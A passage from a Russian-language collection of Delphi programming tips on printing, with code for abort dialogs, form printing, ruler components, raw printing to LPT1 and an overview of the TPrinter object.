  Printer.Enddoc;
end;

Буду рад, если помог.

Lloyd Linklater <Sysop>
Delphi Technical Support
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Диалог прекращения печати

Как мне создать диалог прекращения печати при работе с TPrinter?

Создайте форму с кнопкой "Abort". Обработчик нажатия кнопки должен вызывать Printer.Abort.

Теперь, при запуске печати, вам необходимо показать этот диалог в немодальном режиме методом Show(). Тем не менее, перед показом диалога необходимо деактивировать главную форму приложения, например так:

Application.MainForm.Enabled := false;
AbortDlg.Show;
{ Здесь код печати }
AbortDlg.Close;
Appliction.MainForm.Enable := true;

Имейте в виду, что для правильной логики работы необходимо проверять значение свойства Printer.Aborted. Если пользователь нажал кнопку прекращения печати, эта переменная укажет о необходимости выхода из подпрограммы печати. Но здесь есть небольшой подвох. Printer.Abort предполагает прерывание печати вызовом функции WinProcs.AbortDoc(), но он не делает этого (по крайней мере в Delphi 1). Следовательно, исправляя ошибку Borland, вы должны это делать сами в ответ на нажатие кнопки Abort (в обработчике события onClick)
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Прерывание работы принтера

При вызове Printer.Abort должен вызываться код

    WinProcs.AbortProc(Printer.Handle)

но этого не происходит. Вызывайте это сами каждый раз при использовании Printer.Abort.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Печать всей формы

unit PrintF;

{Печатает TLabel, TEdit, TMemo, TStringGrid, TShape и др. DB-компоненты.

Установите Form H & V ScrollBar.Ranges на 768X1008 для страницы 8X10.5.
Примечание: это не компонент. Успехов. Bill}

interface
uses

  SysUtils, WinTypes, WinProcs, Classes, Graphics, Controls,
  Forms, Grids, Printers, StdCtrls, ExtCtrls, Mask;

function PrintForm(AForm: TForm; ATag: Longint): integer;

{используйте:   PrintForm(Form2, 0);

AForm - форма, которую необходимо напечатать. Если вы, к примеру,
печатаете Form2 из обработчика события Form1, то используйте Unit2
в списке используемых модулей в секции implementation молуля Unit1.
ATag - поле Tag компонента, который необходимо печатать или 0 для всех.
Если Tag компонента равен 14 (2+4+8), он буден напечатан в случае,
когда ATag равен 0, 2, 4 или 8.
Функция возвращает количество напечатанных компонентов. }

implementation
var ScaleX, ScaleY, I, Count: integer;

  DC: HDC;
  F: TForm;

function ScaleToPrinter(R: TRect): TRect;
begin
  R.Top := (R.Top + F.VertScrollBar.Position) * ScaleY;
  R.Left := (R.Left + F.HorzScrollBar.Position) * ScaleX;
  R.Bottom := (R.Bottom + F.VertScrollBar.Position) * ScaleY;
  R.Right := (R.Right + F.HorzScrollBar.Position) * ScaleY;
  Result := R;
end;

procedure PrintMComponent(MC: TMemo);
var C: array[0..255] of char;
  CLen: integer;
  Format: Word;
  R: TRect;

begin
  Printer.Canvas.Font := MC.Font;
  DC := Printer.Canvas.Handle; {так DrawText знает о шрифте}
  R := ScaleToPrinter(MC.BoundsRect);
  if (not (F.Components[I] is TCustomLabel)) and (MC.BorderStyle = bsSingle) then Printer.Canvas.Rectangle(R.Left, R.Top, R.Right, R.Bottom);
  Format := DT_LEFT;
  if (F.Components[I] is TEdit) or (F.Components[I] is TCustomMaskEdit) then
    Format := Format or DT_SINGLELINE or DT_VCENTER
  else
    begin
      if MC.WordWrap then Format := DT_WORDBREAK;
      if MC.Alignment = taCenter then Format := Format or DT_CENTER;
      if MC.Alignment = taRightJustify then Format := Format or DT_RIGHT;
      R.Bottom := R.Bottom + Printer.Canvas.Font.Height;
    end;
  CLen := MC.GetTextBuf(C, 255);
  R.Left := R.Left + ScaleX + ScaleX;
  WinProcs.DrawText(DC, C, CLen, R, Format);
  inc(Count);
end;

procedure PrintShape(SC: TShape);
var H, W, S: integer;
  R: TRect;
begin {PrintShape}
  Printer.Canvas.Pen := SC.Pen;
  Printer.Canvas.Pen.Width := Printer.Canvas.Pen.Width * ScaleX;
  Printer.Canvas.Brush := SC.Brush;
  R := ScaleToPrinter(SC.BoundsRect);
  W := R.Right - R.Left; H := R.Bottom - R.Top;
  if W < H then
    S := W
  else
    S := H;
  if SC.Shape in [stSquare, stRoundSquare, stCircle] then
    begin
      Inc(R.Left, (W - S) div 2);
      Inc(R.Top, (H - S) div 2);
      W := S;
      H := S;
    end;
  case SC.Shape of
    stRectangle, stSquare:
      Printer.Canvas.Rectangle(R.Left, R.Top, R.Left + W, R.Top + H);
    stRoundRect, stRoundSquare:
      Printer.Canvas.RoundRect(R.Left, R.Top, R.Left + W, R.Top + H, S div 4, S div 4);
    stCircle, stEllipse:
      Printer.Canvas.Ellipse(R.Left, R.Top, R.Left + W, R.Top + H);
  end;
  Printer.Canvas.Pen.Width := ScaleX;
  Printer.Canvas.Brush.Style := bsClear;
  inc(Count);
end; {PrintShape}

procedure PrintSGrid(SGC: TStringGrid);
var J, K: integer;
  Q, R: TRect;
  Format: Word;
  C: array[0..255] of char;
  CLen: integer;
begin
  Printer.Canvas.Font := SGC.Font;
  DC := Printer.Canvas.Handle; {так DrawText знает о шрифте}
  Format := DT_SINGLELINE or DT_VCENTER;
  Q := SGC.BoundsRect;
  Printer.Canvas.Pen.Width := SGC.GridLineWidth * ScaleX;
  for J := 0 to SGC.ColCount - 1 do
    for K := 0 to SGC.RowCount - 1 do
      begin
        R := SGC.CellRect(J, K);
        if R.Right > R.Left then
          begin
            R.Left := R.Left + Q.Left;
            R.Right := R.Right + Q.Left + SGC.GridLineWidth;
            R.Top := R.Top + Q.Top;
            R.Bottom := R.Bottom + Q.Top + SGC.GridLineWidth;
            R := ScaleToPrinter(R);
            if (J < SGC.FixedCols) or (K < SGC.FixedRows) then
              Printer.Canvas.Brush.Color := SGC.FixedColor
            else
              Printer.Canvas.Brush.Style := bsClear;
            if SGC.GridLineWidth > 0 then
              Printer.Canvas.Rectangle(R.Left, R.Top, R.Right, R.Bottom);
            StrPCopy(C, SGC.Cells[J, K]);
            R.Left := R.Left + ScaleX + ScaleX;
            WinProcs.DrawText(DC, C, StrLen(C), R, Format);

          end;
      end;
  Printer.Canvas.Pen.Width := ScaleX;
  inc(Count);
end;

function PrintForm(AForm: TForm; ATag: Longint): integer;
begin {PrintForm}

  Count := 0;
  F := AForm;
  Printer.BeginDoc;
  try
    DC := Printer.Canvas.Handle;
    ScaleX := WinProcs.GetDeviceCaps(DC, LOGPIXELSX) div F.PixelsPerInch;
    ScaleY := WinProcs.GetDeviceCaps(DC, LOGPIXELSY) div F.PixelsPerInch;
    for I := 0 to F.ComponentCount - 1 do
      if TControl(F.Components[I]).Visible then
        if (ATag = 0) or (TControl(F.Components[I]).Tag and ATag = ATag) then
          begin
            if (F.Components[I] is TCustomLabel) or (F.Components[I] is TCustomEdit) then
              PrintMComponent(TMemo(F.Components[I]));
            if (F.Components[I] is TShape) then
              PrintShape(TShape(F.Components[I]));
            if (F.Components[I] is TStringGrid) then
              PrintSGrid(TStringGrid(F.Components[I]));
          end;
  finally
    Printer.EndDoc;
    Result := Count;
  end;
end; {PrintForm}

end.

unit Rulers;
{ Добавьте в файл .DCR иконки для двух компонентов.

Успехов, Bill}
interface

uses

  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms;

type

  THRuler = class(TGraphicControl)
  private
{ Private declarations }
    fHRulerAlign: TAlign;
    procedure SetHRulerAlign(Value: TAlign);
  protected
{ Protected declarations }
    procedure Paint; override;
  public
{ Public declarations }
    constructor Create(AOwner: TComponent); override;
  published
{ Published declarations }
    property AlignHRuler: TAlign read fHRulerAlign write SetHRulerAlign default alNone;
    property Color default clYellow;
    property Height default 33;
    property Width default 768;
    property Visible;
  end;

type
  TVRuler = class(TGraphicControl)
  private
{ Private declarations }
    fVRulerAlign: TAlign;
    procedure SetVRulerAlign(Value: TAlign);
  protected
{ Protected declarations }
    procedure Paint; override;
  public
{ Public declarations }
    constructor Create(AOwner: TComponent); override;
  published
{ Published declarations }
    property AlignVRuler: TAlign read fVRulerAlign write SetVRulerAlign default alNone;
    property Color default clYellow;
    property Height default 1008;
    property Width default 33;
    property Visible;
  end;

procedure Register;

implementation

procedure Register;
begin

  RegisterComponents('Samples', [THRuler, TVRuler]);
end;

procedure THRuler.SetHRulerAlign(Value: TAlign);
begin

  if Value in [alTop, alBottom, alNone] then
    begin
      fHRulerAlign := Value;
      Align := Value;
    end;
end;

constructor THRuler.Create(AOwner: TComponent);
begin

  inherited Create(AOwner);
  AlignHRuler := alNone;
  Color := clYellow;
  Height := 33;
  Width := 768;
end;

procedure THRuler.Paint;
var a12th, N, X: word;
begin

  a12th := Screen.PixelsPerInch div 12;
  N := 0; X := 0;
  with Canvas do
    begin
      Brush.Color := Color;
      FillRect(ClientRect);
      with ClientRect do
        Rectangle(Left, Top, Right, Bottom);
      while X < Width do
        begin
          MoveTo(X, 1);
          LineTo(X, 6 * (1 + byte(N mod 3 = 0) +
            byte(N mod 6 = 0) +
            byte(N mod 12 = 0)));
          if (N > 0) and (N mod 12 = 0) then
            TextOut(PenPos.X + 3, 9, IntToStr(N div 12));
          N := N + 1;
          X := X + a12th;
        end;
    end;
end;
{*********************************************}

procedure TVRuler.SetVRulerAlign(Value: TAlign);
begin

  if Value in [alLeft, alRight, alNone] then
    begin
      fVRulerAlign := Value;
      Align := Value;
    end;
end;

constructor TVRuler.Create(AOwner: TComponent);
begin

  inherited Create(AOwner);
  AlignVRuler := alNone;
  Color := clYellow;
  Height := 1008;
  Width := 33;
end;

procedure TVRuler.Paint;
var a6th, N, Y: word;
begin

  a6th := Screen.PixelsPerInch div 6;
  N := 0; Y := 0;
  with Canvas do
    begin
      Brush.Color := Color;
      FillRect(ClientRect);
      with ClientRect do
        Rectangle(Left, Top, Right, Bottom);
      while Y < Height do
        begin
          MoveTo(1, Y);
          LineTo(6 * (2 + byte(N mod 3 = 0) +
            byte(N mod 6 = 0)), Y);
          if (N > 0) and (N mod 6 = 0) then
            TextOut(12, PenPos.Y - 16, IntToStr(N div 6));
          N := N + 1;
          Y := Y + a6th;
        end;
    end;
end;

end.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Печать содержимого TMemo/TListbox

Как мне вывести на печать все строки компонента TMemo или TListbox?
Нижеприведенная функция в качестве параметра акцептует объект TStrings и распечатывает все строки на принтере, установленном в системе по умолчанию.Поскольку функция использует TStrings, то она может работать с любыми типами компонентов, имеющими свойство типа TStrings, например TDBMemo или TOutline.

uses Printers;

procedure PrintStrings(Strings: TStrings);
var

  Prn: TextFile;
  i: word;
begin

  AssignPrn(Prn);
  try
    Rewrite(Prn);
    try
      for i := 0 to Strings.Count - 1 do
        writeln(Prn, Strings.Strings[i]);
    finally
      CloseFile(Prn);
    end;
  except
    on EInOutError do
      MessageDlg('Ошибка печати текста.', mtError, [mbOk], 0);
  end;
end;

Для печати содержимого TMemo или TListbox используйте следующий код:

PrintStrings(Memo1.Lines);

или

PrintStrings(Listbox1.Items);
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Печать текста в обход Windows

Откройте файл типа TextFile и пишите в него напрямую:

var
  Lst: TextFile;

begin
  AssignFile(Lst, 'LPT1');
  Rewrite(Lst);
  WriteLn(Lst, 'Здравствуй, мир!');
  Close(Lst);
end.

При этом вы должны помнить, что при данной технологии вы не можете в это же время печатать из другой программы, иначе наступит конец света, а ваша распечатка будет похожа на "запутанный беспорядк".

Если вы планируете посылать на принтер управляющие коды, вызывайте следующую функцию немедленно после перезаписи файла:

procedure SetBinaryMode(var F: Text); assembler;
asm
mov ax,$4400
les di,F
mov bx,word ptr es:[di]
int $21
or dl,$20
xor dh,dh
mov ax,$4401
int $21
end;

-Steve
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Печать с масштабированием

procedure TForm1.Button1Click(Sender: TObject);
// © Song
Var ScaleX, ScaleY: Integer;
Begin
 Printer.BeginDoc;
 With Printer Do
  try
   ScaleX:=GetDeviceCaps(Handle,LogPixelsX) div PixelsPerInch;
   ScaleY:=GetDeviceCaps(Handle,LogPixelsY) div PixelsPerInch;
   Canvas.StretchDraw(Rect(0,0,Image1.Picture.Width*ScaleX,Image1.Picture.Height*ScaleY),Image1.Picture.Graphic);
  finally
   EndDoc;
  end;
End;

Автор: Song

Взято из http://forum.sources.ru


Печать в порт принтера

{1.}

procedure TForm1.Button1Click(Sender: TObject);
var
  port, prnfile: file;
  buffer: array [1..128] of Char;
  Read: Integer;
begin
  // Specify a file to print
  AssignFile(prnfile, 'filetoprint');
  Reset(prnfile, 1);
  // specify printer port
  AssignFile(port, 'LPT1');
  Rewrite(port, 1);
  repeat
    BlockRead(prnfile, buffer, SizeOf(buffer), Read);
    BlockWrite(port, buffer, Read);
    // Application.ProcessMessages;
  until EOF(prnfile) or (Read <> SizeOf(buffer));
  CloseFile(prnfile);
  CloseFile(port);
end;

{*****************************************************}

{2.}

{
  Question:
  How do I write a raw string of a data to the printer?

  The following unit "PrtRaw.pas" demonstrates a 16/32 bit
  raw printing unit for Delphi and Borland C Builder.

  Following the unit, is an exmaple on using the
  PrtRaw unit.

  Notes:

  1) You are responsible for embedding all necessary
  control codes that the printer may require (including
  form feed codes).

  2) You must specify a valid printer and port name.

}

unit PrtRaw;

{Copyright (c) 1998 by Joe C. Hecht - All rights Reserved}
{joehecht@gte.net You may use and share this unit}
{providing my name and the copyright notice stays intact.}

interface

uses
  WinTypes;

{$IFDEF WIN32}
 type SpoolInt = DWORD;
{$ELSE}
 type SpoolInt = integer;
{$ENDIF}

function StartRawPrintJob(PrinterName : pChar;
                          Port : pChar;
                          DocName : pChar) : THandle;

function StartRawPrintPage(hPrn : THandle) : integer;

function PrintRawData(hPrn : THandle;
                      Buffer : pointer;
                      NumBytes : SpoolInt) : integer;

function EndRawPrintPage(hPrn : THandle) : integer;

function EndRawPrintJob(hPrn : THandle) : integer;

implementation
 uses
   WinProcs,
{$IFDEF WIN32}
 WinSpool;
{$ELSE}
 Print;
{$ENDIF}

function StartRawPrintJob(PrinterName : pChar;
                          Port : pChar;
                          DocName : pChar) : THandle;
{$IFDEF WIN32}
 var
   hPrn : THandle;
   DocInfo1 : TDocInfo1;
{$ENDIF}
begin
 {$IFDEF WIN32}
   if (OpenPrinter(PChar(PrinterName),
                   hPrn,
                   nil) = FALSE)  then
   begin
     Result := THandle(-1);
     Exit;
   end;
   DocInfo1.pDocName := DocName;
   DocInfo1.pOutputFile := Port;
   DocInfo1.pDataType := 'RAW';
   if (StartDocPrinter(hPrn,
                       1,
                       @DocInfo1) = 0) then
   begin
     Result := THandle(-1);
     Exit;
   end;
   Result := hPrn;
 {$ELSE}
  result := OpenJob(Port,
                    DocName,
                    0);
 {$ENDIF}
end;

function StartRawPrintPage(hPrn : THandle) : integer;
begin
 {$IFDEF WIN32}
   if (StartPagePrinter(hPrn) = FALSE) then
   begin
     Result := -1;
     Exit;
   end;
   result := 1;
 {$ELSE}
  result := StartSpoolPage(hPrn);
 {$ENDIF}
end;

function PrintRawData(hPrn : THandle;
                      Buffer : pointer;
                      NumBytes : SpoolInt) : integer;
{$IFDEF WIN32}
var
  BytesWritten : DWORD;
 {$ENDIF}
begin
  if (NumBytes = 0) then
  begin
    Result := 1;
    Exit;
  end;
 {$IFDEF WIN32}
   if (WritePrinter(hPrn,
                    Buffer,
                    NumBytes,
                    BytesWritten) = FALSE) then
   begin
     Result := -1;
     Exit;
   end;
   if (NumBytes <> BytesWritten) then
   begin
     Result := -1;
     Exit;
   end;
   Result := 1;
 {$ELSE}
  result := WriteSpool(hPrn,
                       Buffer,
                       NumBytes);
 {$ENDIF}
end;

function EndRawPrintPage(hPrn : THandle) : integer;
begin
 {$IFDEF WIN32}
   if (EndPagePrinter(hPrn) = FALSE) then
   begin
     Result := -1;
     Exit;
   end;
   Result := 1;
 {$ELSE}
  result := EndSpoolPage(hPrn);
 {$ENDIF}
end;

function EndRawPrintJob(hPrn : THandle) : integer;
begin
 {$IFDEF WIN32}
   if (EndDocPrinter(hPrn) = FALSE) then
   begin
     Result := -1;
     Exit;
   end;
   if (ClosePrinter(hPrn) = FALSE) then
   begin
     Result := -1;
     Exit;
   end;
   Result := 1;
 {$ELSE}
  result := CloseJob(hPrn);
 {$ENDIF}
end;

end.

// Example of use:

uses
  PrtRaw;

procedure TForm1.Button1Click(Sender: TObject);
var
  hPrn : THandle;
  Data : array[0..31] of char;
begin

  hPrn := StartRawPrintJob('Generic / Text Only',
                           'LPT1:',
                           'My Document');
  if (integer(hPrn) < 0) then
  begin
    ShowMessage('StartRawPrintJob Failed');
    Exit;
  end;

  if (StartRawPrintPage(hPrn) < 0) then
  begin
    ShowMessage('StartRawPrintPage Failed');
    EndRawPrintJob(hPrn);
    Exit;
  end;

  Data[0] := 'P';
  Data[1] := 'a';
  Data[2] := 'g';
  Data[3] := 'e';
  Data[4] := #32;
  Data[5] := '1';
  Data[6] := #13;
  Data[7] := #10;

  if (PrintRawData(hPrn,
                   @data,
                   8) < 0) then
  begin
    ShowMessage('PrintRawData Failed');
    EndRawPrintPage(hPrn);
    EndRawPrintJob(hPrn);
    Exit;
  end;

  if (EndRawPrintPage(hPrn) < 0) then
  begin
    ShowMessage('EndRawPrintPage Failed');
    EndRawPrintJob(hPrn);
    Exit;
  end;

  if (StartRawPrintPage(hPrn) < 0) then
  begin
    ShowMessage('StartRawPrintPage Failed');
    EndRawPrintJob(hPrn);
    Exit;
  end;
  Data[0] := 'P';
  Data[1] := 'a';
  Data[2] := 'g';
  Data[3] := 'e';
  Data[4] := #32;
  Data[5] := '2';
  Data[6] := #13;
  Data[7] := #10;

  if (PrintRawData(hPrn,
                   @data,
                   8) < 0) then
                   begin
    ShowMessage('PrintRawData Failed');
    EndRawPrintPage(hPrn);
    EndRawPrintJob(hPrn);
    Exit;
  end;

  if (EndRawPrintPage(hPrn) < 0) then
  begin
    ShowMessage('EndRawPrintPage Failed');
    EndRawPrintJob(hPrn);
    Exit;
  end;

  if (EndRawPrintJob(hPrn) < 0) then
  begin
    ShowMessage('EndRawPrintJob Failed');
    Exit;
  end;

end;

end.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Подробное описание способа печати содержимого формы

Данный документ содержит подробное описание способа печати содержимого формы: получение отдельных битов устройства при 256-цветной форме, и использования полученных битов для печати формы на принтере.

Кроме того, в данном коде осуществляется проверка палитры устройства (экран или принтер), и включается обработка палитры соответствующего устройства. Если устройством палитры является устройство экрана, принимаются дополнительные меры по заполнению палитры растрового изображения из системной палитры, избавляющие от некорректного заполнения палитры некоторыми видеодрайверами.

Примечание: Поскольку данный код делает снимок формы, форма должна располагаться на самом верху, поверх остальных форм, быть полность на экране, и быть видимой на момент ее "съемки".

unit Prntit;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Image1: TImage;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

uses Printers;

procedure TForm1.Button1Click(Sender: TObject);
var

  dc: HDC;
  isDcPalDevice: BOOL;
  MemDc: hdc;
  MemBitmap: hBitmap;
  OldMemBitmap: hBitmap;
  hDibHeader: Thandle;
  pDibHeader: pointer;
  hBits: Thandle;
  pBits: pointer;
  ScaleX: Double;
  ScaleY: Double;
  ppal: PLOGPALETTE;
  pal: hPalette;
  Oldpal: hPalette;
  i: integer;
begin

  {Получаем dc экрана}
  dc := GetDc(0);
  {Создаем совместимый dc}
  MemDc := CreateCompatibleDc(dc);
  {создаем изображение}
  MemBitmap := CreateCompatibleBitmap(Dc,
    form1.width,
    form1.height);
  {выбираем изображение в dc}
  OldMemBitmap := SelectObject(MemDc, MemBitmap);

  {Производим действия, устраняющие ошибки при работе с некоторыми типами видеодрайверов}
  isDcPalDevice := false;
  if GetDeviceCaps(dc, RASTERCAPS) and
    RC_PALETTE = RC_PALETTE then
  begin
    GetMem(pPal, sizeof(TLOGPALETTE) +
      (255 * sizeof(TPALETTEENTRY)));
    FillChar(pPal^, sizeof(TLOGPALETTE) +
      (255 * sizeof(TPALETTEENTRY)), #0);
    pPal^.palVersion := $300;
    pPal^.palNumEntries :=
      GetSystemPaletteEntries(dc,
      0,
      256,
      pPal^.palPalEntry);
    if pPal^.PalNumEntries <> 0 then
    begin
      pal := CreatePalette(pPal^);
      oldPal := SelectPalette(MemDc, Pal, false);
      isDcPalDevice := true
    end
    else
      FreeMem(pPal, sizeof(TLOGPALETTE) +
        (255 * sizeof(TPALETTEENTRY)));
  end;

  {копируем экран в memdc/bitmap}
  BitBlt(MemDc,
    0, 0,
    form1.width, form1.height,
    Dc,
    form1.left, form1.top,
    SrcCopy);

  if isDcPalDevice = true then
  begin
    SelectPalette(MemDc, OldPal, false);
    DeleteObject(Pal);
  end;

  {удаляем выбор изображения}
  SelectObject(MemDc, OldMemBitmap);
  {удаляем dc памяти}
  DeleteDc(MemDc);
  {Распределяем память для структуры DIB}
  hDibHeader := GlobalAlloc(GHND,
    sizeof(TBITMAPINFO) +
    (sizeof(TRGBQUAD) * 256));
  {получаем указатель на распределенную память}
  pDibHeader := GlobalLock(hDibHeader);

  {заполняем dib-структуру информацией, которая нам необходима в DIB}
  FillChar(pDibHeader^,
    sizeof(TBITMAPINFO) + (sizeof(TRGBQUAD) * 256),
    #0);
  PBITMAPINFOHEADER(pDibHeader)^.biSize :=
    sizeof(TBITMAPINFOHEADER);
  PBITMAPINFOHEADER(pDibHeader)^.biPlanes := 1;
  PBITMAPINFOHEADER(pDibHeader)^.biBitCount := 8;
  PBITMAPINFOHEADER(pDibHeader)^.biWidth := form1.width;
  PBITMAPINFOHEADER(pDibHeader)^.biHeight := form1.height;
  PBITMAPINFOHEADER(pDibHeader)^.biCompression := BI_RGB;

  {узнаем сколько памяти необходимо для битов}
  GetDIBits(dc,
    MemBitmap,
    0,
    form1.height,
    nil,
    TBitmapInfo(pDibHeader^),
    DIB_RGB_COLORS);

  {Распределяем память для битов}
  hBits := GlobalAlloc(GHND,
    PBitmapInfoHeader(pDibHeader)^.BiSizeImage);
  {Получаем указатель на биты}
  pBits := GlobalLock(hBits);

  {Вызываем функцию снова, но на этот раз нам передают биты!}
  GetDIBits(dc,
    MemBitmap,
    0,
    form1.height,
    pBits,
    PBitmapInfo(pDibHeader)^,
    DIB_RGB_COLORS);

  {Пробуем исправить ошибки некоторых видеодрайверов}
  if isDcPalDevice = true then
  begin
    for i := 0 to (pPal^.PalNumEntries - 1) do
    begin
      PBitmapInfo(pDibHeader)^.bmiColors[i].rgbRed :=
        pPal^.palPalEntry[i].peRed;
      PBitmapInfo(pDibHeader)^.bmiColors[i].rgbGreen :=
        pPal^.palPalEntry[i].peGreen;
      PBitmapInfo(pDibHeader)^.bmiColors[i].rgbBlue :=
        pPal^.palPalEntry[i].peBlue;
    end;
    FreeMem(pPal, sizeof(TLOGPALETTE) +
      (255 * sizeof(TPALETTEENTRY)));
  end;

  {Освобождаем dc экрана}
  ReleaseDc(0, dc);
  {Удаляем изображение}
  DeleteObject(MemBitmap);

  {Запускаем работу печати}
  Printer.BeginDoc;

  {Масштабируем размер печати}
  if Printer.PageWidth < Printer.PageHeight then
  begin
    ScaleX := Printer.PageWidth;
    ScaleY := Form1.Height * (Printer.PageWidth / Form1.Width);
  end
  else
  begin
    ScaleX := Form1.Width * (Printer.PageHeight / Form1.Height);
    ScaleY := Printer.PageHeight;
  end;

  {Просто используем драйвер принтера для устройства палитры}
  isDcPalDevice := false;
  if GetDeviceCaps(Printer.Canvas.Handle, RASTERCAPS) and
    RC_PALETTE = RC_PALETTE then
  begin
    {Создаем палитру для dib}
    GetMem(pPal, sizeof(TLOGPALETTE) +
      (255 * sizeof(TPALETTEENTRY)));
    FillChar(pPal^, sizeof(TLOGPALETTE) +
      (255 * sizeof(TPALETTEENTRY)), #0);
    pPal^.palVersion := $300;
    pPal^.palNumEntries := 256;
    for i := 0 to (pPal^.PalNumEntries - 1) do
    begin
      pPal^.palPalEntry[i].peRed :=
        PBitmapInfo(pDibHeader)^.bmiColors[i].rgbRed;
      pPal^.palPalEntry[i].peGreen :=
        PBitmapInfo(pDibHeader)^.bmiColors[i].rgbGreen;
      pPal^.palPalEntry[i].peBlue :=
        PBitmapInfo(pDibHeader)^.bmiColors[i].rgbBlue;
    end;
    pal := CreatePalette(pPal^);
    FreeMem(pPal, sizeof(TLOGPALETTE) +
      (255 * sizeof(TPALETTEENTRY)));
    oldPal := SelectPalette(Printer.Canvas.Handle, Pal, false);
    isDcPalDevice := true
  end;

  {посылаем биты на принтер}
  StretchDiBits(Printer.Canvas.Handle,
    0, 0,
    Round(scaleX), Round(scaleY),
    0, 0,
    Form1.Width, Form1.Height,
    pBits,
    PBitmapInfo(pDibHeader)^,
    DIB_RGB_COLORS,
    SRCCOPY);

  {Просто используем драйвер принтера для устройства палитры}
  if isDcPalDevice = true then
  begin
    SelectPalette(Printer.Canvas.Handle, oldPal, false);
    DeleteObject(Pal);
  end;

  {Очищаем распределенную память} GlobalUnlock(hBits);
  GlobalFree(hBits);
  GlobalUnlock(hDibHeader);
  GlobalFree(hDibHeader);

  {Заканчиваем работу печати}
  Printer.EndDoc;

end;

Взято с http://delphiworld.narod.ru


Объект TPrinter

Cодержание раздела:

Работа с принтером.
Exception при попытке создать обьект класса TPrinter
Задать необходимый для печати принтер New!


Работа с принтером.

Delphi имеет стандартный объект для доступа к принтеру - TPRINTER,
находящийся в модуле PRINTERS. В этом модуле имеется
переменная Printer:Tpinter, что избавляет от необходимости описывать свою.
Он позволяет выводить данные на печать и управлять процессом печати.
Правда, в некоторых версиях Delphi 1 он имеет "глюк" - не работают
функции Draw и StrethDraw. Но эта проблема поправима - можно
использовать функции API. Далее приведены основные поля и методы объекта Printers :
PROPERTY
Aborted:boolean - Показывает, что процесс печати прерван
Canvas:Tcanvas - Стандартный Canvas, как у любого графического объекта.
Он позволяет рисовать на листе бумаге графику, выводить текст ... .
Тут есть несколько особенностей, они описаны после описания объекта.
Fonts:Tstrings - Возвращает список шрифтов, поддерживаемых принтером
Handle:HDS - Получить Handle на принтер для использования функций API (см. Далее)
Orientation:TprinterOrientation - Ориентация листа при печати : (poPortrait, poLandscape)
PageHeight:integer - Высота листа в пикселах
PageNumber:integer - Номер страницы, увеличивается на 1 при каждом NewPage
PageWidth:integer - Ширина листа в пикселах
PrinterIndex:integer - Номер используемого принтера по списку доступных принтеров Printers
Printers:Tstrings - Список доступных принтеров
Printing:boolean - Флаг, показывающий, что сейчас идет процесс печати
Title:string - Имя документа или приложения. Под этим именем задание на печать
регистрируется в диспетчере печати

METODS
AssignPrn(f:TextFile) - Связать текстовый файл с принтером.
Далее вывод информации в этот файл приводит к ее печати.
Удобно в простейших случаях.
Abort - Сбросить печать
BeginDoc - Начать печать
NewPage - Начать новую страницу
EndDoc - Завершить печать.

Пример :

Procedure TForm1.Button1Click(Sender: TObject);
Begin
 With Printer do Begin
  BeginDoc; { Начало печати }
  Canvas.Font:=label1.font; { Задали шрифт }
  Canvas.TextOut(100,100,'Это тест принтера !!!'); { Печатаем текст }
  EndDoc; { Конец печати }
 end;
end;

Особенности работы с TPrinter

1. После команды BeginDoc шрифт у Canvas принтера сбрасывается и
его необходимо задавать заново
2. Все координаты даны в пикселах, а для нормальной работы необходимы
миллиметры (по двум очевидным причинам: очень трудно произвести
разметку страницы в пикселах (особенно если необходима точность), и , главное,
при изменении разрешающей способности принтера будет изменяться число точек
на дюйм, и все координаты "поедут".
3. У TPrinter информация о принтере, по видимому, определяются один раз
- в момент запуска программы (или смены принтера). Поэтому изменение настроек
принтера в процессе работы программы может привести к некорректной работе,
например, неправильной печать шрифтов True Type.
Определение параметров принтера через API
Для определения информации о принтере (плоттере, экране) необходимо
знать Handle этого принтера, а его можно узнать объекта TPrinter - Printer.Handle.
Далее вызывается функция API (unit WinProcs) : GetDevice(Handle:HDC; Index:integer):integer;
Index - код параметра, который необходимо вернуть.
Для Index существует ряд констант :
DriverVersion - вернуть версию драйвера
Texnology - Технология вывода, их много, основные
dt_Plotter - плоттер
dt_RasPrinter - растровый принтер
dt_Display - дисплей
HorzSize - Горизонтальный размер листа (в мм)
VertSize - Вертикальный размер листа (в мм)
HorzRes - Горизонтальный размер листа (в пикселах)
VertRes - Вертикальный размер листа (в пикселах)
LogPixelX - Разрешение по оси Х в dpi (пиксел /дюйм)
LogPixelY - Разрешение по оси Y в dpi (пиксел /дюйм)
Кроме перечисленных еще около сотни, они позволяют узнать о принтере практически все.
Параметры, возвращаемые по LogPixelX и LogPixelY очень важны - они
позволяют произвести пересчет координат из миллиметров в пиксели
для текущего разрешения принтера. Пример таких функций:

Procedure TForm1.GetPrinterInfo; { Получить информацию о принтере }
begin
  PixelsX:=GetDeviceCaps(printer.Handle,LogPixelsX);
  PixelsY:=GetDeviceCaps(printer.Handle,LogPixelsY);
end;

Function TForm1.PrinterCoordX(x:integer):integer; { переводит координаты из мм в пиксели }
begin
 PrinterCoordX:=round(PixelsX/25.4*x);
end;

Function TForm1.PrinterCoordY(Y:integer):integer; { переводит координаты из мм в пиксели }
begin
 PrinterCoordY:=round(PixelsY/25.4*Y);
end;

GetPrinterInfo;

Printer.Canvas.TextOut(PrinterCoordX(30), PrinterCoordY(55),

'Этот текст печатается с отступом 30 мм от левого края и '+

'55 мм от верха при любом разрешении принтера');

Данную методику можно с успехом применять для печати картинок - зная
размер картинки можно пересчитать ее размеры в пикселах для текущего
разрешения принтера, масштабировать, и затем уже распечатать.
Иначе на матричном принтере (180 dpi) картинка будет огромной,
а на качественном струйнике (720 dpi) - микроскопической.

P.S. Мой комментарий.
Я производил печать следующим образом:

procedure TForm6.SpeedButton1Click(Sender: TObject);
var
  PRect: Trect;
  PBitMap: TBitmap;
begin
